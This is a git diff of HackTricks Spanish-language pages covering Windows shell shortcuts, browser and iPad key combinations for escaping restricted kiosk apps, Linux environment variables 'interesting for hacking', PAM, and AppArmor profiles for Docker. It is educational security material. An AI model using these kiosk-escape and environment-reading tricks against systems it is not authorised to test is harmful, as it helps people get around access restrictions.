Control -* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mi PC -* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mis Sitios de Red +* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mi Computadora +* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mis Lugares de Red * `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer -### Mostrar Extensiones de Archivos +### Mostrar extensiones de archivo Consulta esta página para más información: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) -## Trucos de Navegadores +## Trucos de navegadores -Respaldo de versiones iKat: +Versiones de respaldo de iKat: [http://swin.es/k/](http://swin.es/k/)\ [http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ -Crear un cuadro de diálogo común usando JavaScript y acceder al explorador de archivos: `document.write('')`\ +Crea un diálogo común usando JavaScript y accede al explorador de archivos: `document.write('')`\ Fuente: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 ## iPad ### Gestos y botones -* Desliza hacia arriba con cuatro (o cinco) dedos / Doble toque en el botón de Inicio: Para ver la vista de multitarea y cambiar de aplicación -* Desliza hacia un lado u otro con cuatro o cinco dedos: Para cambiar a la siguiente/anterior aplicación -* Pellizca la pantalla con cinco dedos / Toca el botón de Inicio / Desliza hacia arriba con 1 dedo desde la parte inferior de la pantalla en un movimiento rápido hacia arriba: Para acceder a Inicio -* Desliza un dedo desde la parte inferior de la pantalla solo 1-2 pulgadas (lento): Aparecerá el dock +* Desliza hacia arriba con cuatro (o cinco) dedos / Doble toque en el botón de inicio: Para ver la vista de multitarea y cambiar de aplicación +* Desliza de un lado a otro con cuatro o cinco dedos: Para cambiar a la siguiente/última aplicación +* Pellizca la pantalla con cinco dedos / Toca el botón de inicio / Desliza hacia arriba con 1 dedo desde la parte inferior de la pantalla en un movimiento rápido hacia arriba: Para acceder a la pantalla de inicio +* Desliza un dedo desde la parte inferior de la pantalla solo 1-2 pulgadas (lento): La base aparecerá * Desliza hacia abajo desde la parte superior de la pantalla con 1 dedo: Para ver tus notificaciones * Desliza hacia abajo con 1 dedo en la esquina superior derecha de la pantalla: Para ver el centro de control del iPad Pro * Desliza 1 dedo desde el lado izquierdo de la pantalla 1-2 pulgadas: Para ver la vista de Hoy -* Desliza rápidamente 1 dedo desde el centro de la pantalla hacia la derecha o izquierda: Para cambiar a la siguiente/anterior aplicación -* Presiona y mantén presionado el botón de Encendido/**Apagado**/Suspensión en la esquina superior derecha del **iPad +** Mueve el deslizador de **apagado** todo hacia la derecha: Para apagar -* Presiona el botón de Encendido/**Apagado**/Suspensión en la esquina superior derecha del **iPad y el botón de Inicio durante unos segundos**: Para forzar un apagado completo -* Presiona el botón de Encendido/**Apagado**/Suspensión en la esquina superior derecha del **iPad y el botón de Inicio rápidamente**: Para tomar una captura de pantalla que aparecerá en la esquina inferior izquierda de la pantalla. Presiona ambos botones al mismo tiempo brevemente, si los mantienes presionados unos segundos se realizará un apagado forzado. +* Desliza rápido 1 dedo desde el centro de la pantalla hacia la derecha o hacia la izquierda: Para cambiar a la siguiente/última aplicación +* Presiona y mantén el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad +** Mueve el control deslizante de **apagar** todo el camino hacia la derecha: Para apagar +* Presiona el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad y el botón de inicio durante unos segundos**: Para forzar un apagado duro +* Presiona el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad y el botón de inicio rápidamente**: Para tomar una captura de pantalla que aparecerá en la parte inferior izquierda de la pantalla. Presiona ambos botones al mismo tiempo muy brevemente, ya que si los mantienes durante unos segundos se realizará un apagado duro. ### Atajos -Debes tener un teclado para iPad o un adaptador de teclado USB. Aquí se mostrarán solo los atajos que podrían ayudar a escapar de la aplicación. +Deberías tener un teclado para iPad o un adaptador de teclado USB. Solo se mostrarán los atajos que podrían ayudar a escapar de la aplicación. | Tecla | Nombre | -| --- | ------------ | +| ----- | -------------- | | ⌘ | Comando | | ⌥ | Opción (Alt) | -| ⇧ | Mayús | -| ↩ | Retorno | -| ⇥ | Tabulador | +| ⇧ | Shift | +| ↩ | Retorno | +| ⇥ | Tab | | ^ | Control | | ← | Flecha Izquierda | | → | Flecha Derecha | | ↑ | Flecha Arriba | -| ↓ | Flecha Abajo | +| ↓ | Flecha Abajo | -#### Atajos del Sistema +#### Atajos del sistema Estos atajos son para la configuración visual y de sonido, dependiendo del uso del iPad. | Atajo | Acción | -| -------- | ------------------------------------------------------------------------------ | -| F1 | Disminuir Brillo | -| F2 | Aumentar Brillo | -| F7 | Retroceder una canción | -| F8 | Reproducir/Pausar | -| F9 | Saltar canción | -| F10 | Silenciar | -| F11 | Disminuir volumen | -| F12 | Aumentar volumen | -| ⌘ Espacio | Mostrar una lista de idiomas disponibles; para elegir uno, toca de nuevo la barra espaciadora. | +| ----- | ------------------------------------------------------------------------------ | +| F1 | Atenuar pantalla | +| F2 | Aumentar brillo de pantalla | +| F7 | Retroceder una canción | +| F8 | Reproducir/pausar | +| F9 | Saltar canción | +| F10 | Silenciar | +| F11 | Disminuir volumen | +| F12 | Aumentar volumen | +| ⌘ Espacio | Mostrar una lista de idiomas disponibles; para elegir uno, toca la barra espaciadora nuevamente. | #### Navegación en iPad | Atajo | Acción | -| -------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | Ir a Inicio | -| ⌘⇧H (Comando-Mayús-H) | Ir a Inicio | -| ⌘ (Espacio) | Abrir Spotlight | -| ⌘⇥ (Comando-Tabulador) | Lista de las últimas diez aplicaciones utilizadas | -| ⌘\~ | Ir a la última aplicación | -| ⌘⇧3 (Comando-Mayús-3) | Captura de pantalla (aparece en la esquina inferior izquierda para guardar o actuar sobre ella) | -| ⌘⇧4 | Captura de pantalla y ábrela en el editor | -| Presiona y mantén ⌘ | Lista de atajos disponibles para la aplicación | -| ⌘⌥D (Comando-Opción/Alt-D) | Muestra el dock | -| ^⌥H (Control-Opción-H) | Botón de Inicio | -| ^⌥H H (Control-Opción-H-H) | Mostrar barra de multitarea | -| ^⌥I (Control-Opción-i) | Selector de elementos | -| Escape | Botón Atrás | -| → (Flecha Derecha) | Siguiente elemento | -| ← (Flecha Izquierda) | Elemento anterior | -| ↑↓ (Flecha Arriba, Flecha Abajo) | Toca simultáneamente el elemento seleccionado | -| ⌥ ↓ (Opción-Flecha Abajo) | Desplazarse hacia abajo | -| ⌥↑ (Opción-Flecha Arriba) | Desplazarse hacia arriba | -| ⌥← o ⌥→ (Opción-Flecha Izquierda o Opción-Flecha Derecha) | Desplazarse hacia la izquierda o derecha | -| ^⌥S (Control-Opción-S) | Activar o desactivar el habla de VoiceOver | -| ⌘⇧⇥ (Comando-Mayús-Tabulador) | Cambiar a la aplicación anterior | -| ⌘⇥ (Comando-Tabulador) | Volver a la aplicación original | -| ←+→, luego Opción + ← o Opción+→ | Navegar a través del Dock | +| ------------------------------------------------ | ------------------------------------------------------- | +| ⌘H | Ir a Inicio | +| ⌘⇧H (Comando-Shift-H) | Ir a Inicio | +| ⌘ (Espacio) | Abrir Spotlight | +| ⌘⇥ (Comando-Tab) | Listar las últimas diez aplicaciones usadas | +| ⌘\~ | Ir a la última aplicación | +| ⌘⇧3 (Comando-Shift-3) | Captura de pantalla (flota en la parte inferior izquierda para guardar o actuar sobre ella) | +| ⌘⇧4 | Captura de pantalla y ábrela en el editor | +| Presiona y mantén ⌘ | Lista de atajos disponibles para la aplicación | +| ⌘⌥D (Comando-Opción/Alt-D) | Muestra el dock | +| ^⌥H (Control-Opción-H) | Botón de inicio | +| ^⌥H H (Control-Opción-H-H) | Mostrar barra de multitarea | +| ^⌥I (Control-Opción-i) | Selector de ítems | +| Escape | Botón de retroceso | +| → (Flecha derecha) | Siguiente ítem | +| ← (Flecha izquierda) | Ítem anterior | +| ↑↓ (Flecha arriba, Flecha abajo) | Toca simultáneamente el ítem seleccionado | +| ⌥ ↓ (Opción-Flecha abajo) | Desplazarse hacia abajo | +| ⌥↑ (Opción-Flecha arriba) | Desplazarse hacia arriba | +| ⌥← o ⌥→ (Opción-Flecha izquierda o Opción-Flecha derecha) | Desplazarse a la izquierda o derecha | +| ^⌥S (Control-Opción-S) | Activar o desactivar el habla de VoiceOver | +| ⌘⇧⇥ (Comando-Shift-Tab) | Cambiar a la aplicación anterior | +| ⌘⇥ (Comando-Tab) | Volver a la aplicación original | +| ←+→, luego Opción + ← o Opción+→ | Navegar a través del Dock | + #### Atajos de Safari -| Atajo | Acción | -| ----------------------- | ------------------------------------------------ | -| ⌘L (Command-L) | Abrir ubicación | -| ⌘T | Abrir una nueva pestaña | -| ⌘W | Cerrar la pestaña actual | -| ⌘R | Actualizar la pestaña actual | -| ⌘. | Detener la carga de la pestaña actual | -| ^⇥ | Cambiar a la siguiente pestaña | -| ^⇧⇥ (Control-Shift-Tab) | Mover a la pestaña anterior | -| ⌘L | Seleccionar el campo de texto/URL para modificarlo| -| ⌘⇧T (Command-Shift-T) | Abrir la última pestaña cerrada (se puede usar varias veces)| -| ⌘\[ | Retroceder una página en tu historial de navegación| -| ⌘] | Avanzar una página en tu historial de navegación | -| ⌘⇧R | Activar el Modo Lector | +| Atajo | Acción | +| ------------------- | ------------------------------------------------ | +| ⌘L (Comando-L) | Abrir Ubicación | +| ⌘T | Abrir una nueva pestaña | +| ⌘W | Cerrar la pestaña actual | +| ⌘R | Actualizar la pestaña actual | +| ⌘. | Detener la carga de la pestaña actual | +| ^⇥ | Cambiar a la siguiente pestaña | +| ^⇧⇥ (Control-Shift-Tab) | Moverse a la pestaña anterior | +| ⌘L | Seleccionar el campo de entrada de texto/URL para modificarlo | +| ⌘⇧T (Comando-Shift-T) | Abrir la última pestaña cerrada (se puede usar varias veces) | +| ⌘\[ | Retroceder una página en tu historial de navegación | +| ⌘] | Avanzar una página en tu historial de navegación | +| ⌘⇧R | Activar Modo Lector | -#### Atajos de Correo +#### Atajos de Mail | Atajo | Acción | -| ----------------------- | ---------------------------- | -| ⌘L | Abrir ubicación | -| ⌘T | Abrir una nueva pestaña | -| ⌘W | Cerrar la pestaña actual | -| ⌘R | Actualizar la pestaña actual | -| ⌘. | Detener la carga de la pestaña actual | -| ⌘⌥F (Command-Option/Alt-F) | Buscar en tu buzón de correo | +| ---------------------- | ---------------------------- | +| ⌘L | Abrir Ubicación | +| ⌘T | Abrir una nueva pestaña | +| ⌘W | Cerrar la pestaña actual | +| ⌘R | Actualizar la pestaña actual | +| ⌘. | Detener la carga de la pestaña actual | +| ⌘⌥F (Comando-Opción/Alt-F) | Buscar en tu bandeja de entrada | ## Referencias @@ -300,17 +292,7 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso * [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/) * [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html) -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**. - -El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información. - -Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -320,9 +302,9 @@ Aprende y practica Hacking en GCP: Apoya a HackTricks -* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %} diff --git a/linux-hardening/linux-environment-variables.md b/linux-hardening/linux-environment-variables.md index 89ee7dcd8..1b9edf10d 100644 --- a/linux-hardening/linux-environment-variables.md +++ b/linux-hardening/linux-environment-variables.md @@ -10,19 +10,11 @@ Aprende y practica Hacking en GCP: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Variables globales Las variables globales **serán** heredadas por **procesos hijos**. @@ -54,7 +46,7 @@ printenv cat /proc/$$/environ cat /proc/`python -c "import os; print(os.getppid())"`/environ ``` -## Common variables +## Variables comunes From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) @@ -76,7 +68,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https:// * **TZ** – tu zona horaria. * **USER** – tu nombre de usuario actual. -## Interesting variables for hacking +## Variables interesantes para hacking ### **HISTFILESIZE** @@ -126,23 +118,18 @@ Un trabajo en segundo plano, uno detenido y el último comando no terminó corre ![](<../.gitbook/assets/image (715).png>) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks +Support HackTricks -* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index 3c4a53f63..48d1a1330 100644 --- a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -15,19 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**. - -Su objetivo principal en WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ### Información Básica @@ -35,8 +22,8 @@ Puedes visitar su sitio web y probar su motor de forma **gratuita** en: #### Archivos de Configuración -* Los **sistemas Solaris y basados en UNIX** suelen utilizar un archivo de configuración central ubicado en `/etc/pam.conf`. -* Los **sistemas Linux** prefieren un enfoque de directorio, almacenando configuraciones específicas de servicios dentro de `/etc/pam.d`. Por ejemplo, el archivo de configuración para el servicio de inicio de sesión se encuentra en `/etc/pam.d/login`. +* **Los sistemas Solaris y basados en UNIX** suelen utilizar un archivo de configuración central ubicado en `/etc/pam.conf`. +* **Los sistemas Linux** prefieren un enfoque de directorio, almacenando configuraciones específicas de servicios dentro de `/etc/pam.d`. Por ejemplo, el archivo de configuración para el servicio de inicio de sesión se encuentra en `/etc/pam.d/login`. Un ejemplo de una configuración de PAM para el servicio de inicio de sesión podría verse así: ``` @@ -51,7 +38,7 @@ password required /lib/security/pam_ldap.so password required /lib/security/pam_pwdb.so use_first_pass session required /lib/security/pam_unix_session.so ``` -#### **Reinos de Gestión PAM** +#### **Reinos de Gestión de PAM** Estos reinos, o grupos de gestión, incluyen **auth**, **account**, **password** y **session**, cada uno responsable de diferentes aspectos del proceso de autenticación y gestión de sesiones: @@ -77,17 +64,6 @@ En una configuración con múltiples módulos de auth, el proceso sigue un orden * [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/linux-hardening/privilege-escalation/docker-security/apparmor.md b/linux-hardening/privilege-escalation/docker-security/apparmor.md index a40e79f06..42e01ac6a 100644 --- a/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -1,58 +1,44 @@ # AppArmor {% hint style="success" %} -Aprende y practica Hacking en AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks +Support HackTricks -* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) +## Basic Information -
+AppArmor es una **mejora del kernel diseñada para restringir los recursos disponibles para los programas a través de perfiles por programa**, implementando efectivamente el Control de Acceso Obligatorio (MAC) al vincular los atributos de control de acceso directamente a los programas en lugar de a los usuarios. Este sistema opera **cargando perfiles en el kernel**, generalmente durante el arranque, y estos perfiles dictan qué recursos puede acceder un programa, como conexiones de red, acceso a sockets en bruto y permisos de archivos. -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. +Hay dos modos operativos para los perfiles de AppArmor: -El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. +* **Modo de Aplicación**: Este modo aplica activamente las políticas definidas dentro del perfil, bloqueando acciones que violan estas políticas y registrando cualquier intento de infringirlas a través de sistemas como syslog o auditd. +* **Modo de Queja**: A diferencia del modo de aplicación, el modo de queja no bloquea acciones que van en contra de las políticas del perfil. En su lugar, registra estos intentos como violaciones de políticas sin imponer restricciones. -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: +### Components of AppArmor -{% embed url="https://whiteintel.io" %} - -*** - -## Información Básica - -AppArmor es una **mejora del kernel diseñada para restringir los recursos disponibles para los programas a través de perfiles por programa**, implementando efectivamente el Control de Acceso Obligatorio (MAC) al vincular atributos de control de acceso directamente a los programas en lugar de a los usuarios. Este sistema opera **cargando perfiles en el kernel**, generalmente durante el arranque, y estos perfiles dictan qué recursos puede acceder un programa, como conexiones de red, acceso a sockets en bruto y permisos de archivo. - -Existen dos modos operativos para los perfiles de AppArmor: - -* **Modo de Cumplimiento**: Este modo hace cumplir activamente las políticas definidas dentro del perfil, bloqueando acciones que violen estas políticas y registrando cualquier intento de vulnerarlas a través de sistemas como syslog o auditd. -* **Modo de Queja**: A diferencia del modo de cumplimiento, el modo de queja no bloquea acciones que van en contra de las políticas del perfil. En su lugar, registra estos intentos como violaciones de políticas sin hacer cumplir restricciones. - -### Componentes de AppArmor - -* **Módulo del Kernel**: Responsable de hacer cumplir las políticas. +* **Módulo del Kernel**: Responsable de la aplicación de políticas. * **Políticas**: Especifican las reglas y restricciones para el comportamiento del programa y el acceso a recursos. -* **Analizador**: Carga las políticas en el kernel para su cumplimiento o informe. -* **Utilidades**: Estos son programas en modo de usuario que proporcionan una interfaz para interactuar y gestionar AppArmor. +* **Analizador**: Carga políticas en el kernel para su aplicación o reporte. +* **Utilidades**: Estos son programas en modo usuario que proporcionan una interfaz para interactuar y gestionar AppArmor. -### Ruta de los perfiles +### Profiles path -Los perfiles de AppArmor suelen guardarse en _**/etc/apparmor.d/**_\ -Con `sudo aa-status` podrás listar los binarios restringidos por algún perfil. Si cambias el carácter "/" por un punto en la ruta de cada binario listado, obtendrás el nombre del perfil de apparmor dentro de la carpeta mencionada. +Los perfiles de AppArmor generalmente se guardan en _**/etc/apparmor.d/**_\ +Con `sudo aa-status` podrás listar los binarios que están restringidos por algún perfil. Si puedes cambiar el carácter "/" por un punto en la ruta de cada binario listado, obtendrás el nombre del perfil de AppArmor dentro de la carpeta mencionada. -Por ejemplo, un perfil de **apparmor** para _/usr/bin/man_ estará ubicado en _/etc/apparmor.d/usr.bin.man_ +Por ejemplo, un **perfil de AppArmor** para _/usr/bin/man_ se ubicará en _/etc/apparmor.d/usr.bin.man_ -### Comandos +### Commands ```bash aa-status #check the current status aa-enforce #set profile to enforce mode (from disable or complain) @@ -64,35 +50,35 @@ aa-mergeprof #used to merge the policies ``` ## Creando un perfil -* Para indicar el ejecutable afectado, se permiten **rutas absolutas y comodines** (para expansión de archivos) para especificar archivos. -* Para indicar el acceso que el binario tendrá sobre los **archivos**, se pueden utilizar los siguientes **controles de acceso**: -* **r** (lectura) -* **w** (escritura) -* **m** (mapear en memoria como ejecutable) +* Para indicar el ejecutable afectado, se permiten **rutas absolutas y comodines** (para la expansión de archivos) para especificar archivos. +* Para indicar el acceso que tendrá el binario sobre **archivos**, se pueden utilizar los siguientes **controles de acceso**: +* **r** (leer) +* **w** (escribir) +* **m** (mapa de memoria como ejecutable) * **k** (bloqueo de archivos) -* **l** (crear enlaces duros) -* **ix** (para ejecutar otro programa con el nuevo programa heredando la política) +* **l** (creación de enlaces duros) +* **ix** (para ejecutar otro programa con la nueva política heredada) * **Px** (ejecutar bajo otro perfil, después de limpiar el entorno) -* **Cx** (ejecutar bajo un perfil secundario, después de limpiar el entorno) +* **Cx** (ejecutar bajo un perfil hijo, después de limpiar el entorno) * **Ux** (ejecutar sin restricciones, después de limpiar el entorno) -* Se pueden definir **variables** en los perfiles y se pueden manipular desde fuera del perfil. Por ejemplo: @{PROC} y @{HOME} (agregar #include \ al archivo de perfil) -* Se admiten **reglas de denegación para anular reglas de permiso**. +* **Variables** pueden ser definidas en los perfiles y pueden ser manipuladas desde fuera del perfil. Por ejemplo: @{PROC} y @{HOME} (agregar #include \ al archivo del perfil) +* **Se admiten reglas de denegación para anular reglas de permiso**. ### aa-genprof -Para comenzar a crear un perfil fácilmente, apparmor puede ayudarte. Es posible hacer que **apparmor inspeccione las acciones realizadas por un binario y luego permitirte decidir qué acciones deseas permitir o denegar**.\ -Simplemente necesitas ejecutar: +Para comenzar a crear un perfil fácilmente, apparmor puede ayudarte. Es posible hacer que **apparmor inspeccione las acciones realizadas por un binario y luego te permita decidir qué acciones deseas permitir o denegar**.\ +Solo necesitas ejecutar: ```bash sudo aa-genprof /path/to/binary ``` -Luego, en una consola diferente, realiza todas las acciones que el binario suele realizar: +Luego, en una consola diferente, realiza todas las acciones que el binario normalmente realizará: ```bash /path/to/binary -a dosomething ``` -Luego, en la primera consola presiona "**s**" y luego en las acciones grabadas indica si quieres ignorar, permitir, o lo que sea. Cuando hayas terminado, presiona "**f**" y el nuevo perfil se creará en _/etc/apparmor.d/path.to.binary_ +Luego, en la primera consola presiona "**s**" y luego en las acciones grabadas indica si deseas ignorar, permitir o lo que sea. Cuando hayas terminado presiona "**f**" y el nuevo perfil se creará en _/etc/apparmor.d/path.to.binary_ {% hint style="info" %} -Usando las teclas de flecha puedes seleccionar lo que deseas permitir/denegar/lo que sea +Usando las teclas de flecha puedes seleccionar lo que deseas permitir/denegar/o lo que sea {% endhint %} ### aa-easyprof @@ -123,24 +109,24 @@ sudo aa-easyprof /path/to/binary } ``` {% hint style="info" %} -Ten en cuenta que de forma predeterminada, en un perfil creado no se permite nada, por lo que todo está denegado. Necesitarás agregar líneas como `/etc/passwd r,` para permitir la lectura del binario `/etc/passwd`, por ejemplo. +Tenga en cuenta que por defecto en un perfil creado nada está permitido, por lo que todo está denegado. Necesitará agregar líneas como `/etc/passwd r,` para permitir que el binario lea `/etc/passwd`, por ejemplo. {% endhint %} -Luego puedes **aplicar** el nuevo perfil con +Puede entonces **hacer cumplir** el nuevo perfil con ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` -### Modificar un perfil a partir de registros +### Modificando un perfil a partir de los registros La siguiente herramienta leerá los registros y preguntará al usuario si desea permitir algunas de las acciones prohibidas detectadas: ```bash sudo aa-logprof ``` {% hint style="info" %} -Usando las teclas de flecha puedes seleccionar lo que deseas permitir/denegar/o cualquier otra acción +Usando las teclas de flecha puedes seleccionar lo que deseas permitir/negar/cualquier cosa {% endhint %} -### Administración de un Perfil +### Gestionando un Perfil ```bash #Main profile management commands apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode @@ -148,14 +134,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` -## Registros +## Logs -Ejemplo de registros de **AUDIT** y **DENIED** del archivo _/var/log/audit/audit.log_ del ejecutable **`service_bin`**: +Ejemplo de registros **AUDIT** y **DENIED** de _/var/log/audit/audit.log_ del ejecutable **`service_bin`**: ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 ``` -También puedes obtener esta información utilizando: +También puedes obtener esta información usando: ```bash sudo aa-notify -s 1 -v Profile: /bin/service_bin @@ -175,7 +161,7 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` ## Apparmor en Docker -Tenga en cuenta cómo el perfil **docker-profile** de docker se carga de forma predeterminada: +Nota cómo el perfil **docker-profile** de docker se carga por defecto: ```bash sudo aa-status apparmor module is loaded. @@ -191,49 +177,49 @@ apparmor module is loaded. /usr/lib/connman/scripts/dhclient-script docker-default ``` -Por defecto, el perfil **Apparmor docker-default** se genera desde [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Por defecto, el **perfil docker-default de Apparmor** se genera a partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) **Resumen del perfil docker-default**: -- **Acceso** a toda la **red** -- No se define ninguna **capacidad** (Sin embargo, algunas capacidades vendrán al incluir reglas base básicas, es decir, #include \) -- **Escribir** en cualquier archivo **/proc** no está **permitido** -- Otros **subdirectorios**/**archivos** de /**proc** y /**sys** tienen acceso **denegado** para leer/escribir/bloquear/enlazar/ejecutar -- **Montar** no está **permitido** -- **Ptrace** solo se puede ejecutar en un proceso que esté confinado por el **mismo perfil de apparmor** +* **Acceso** a toda la **red** +* **No se define ninguna capacidad** (Sin embargo, algunas capacidades provendrán de incluir reglas base básicas es decir, #include \) +* **Escribir** en cualquier 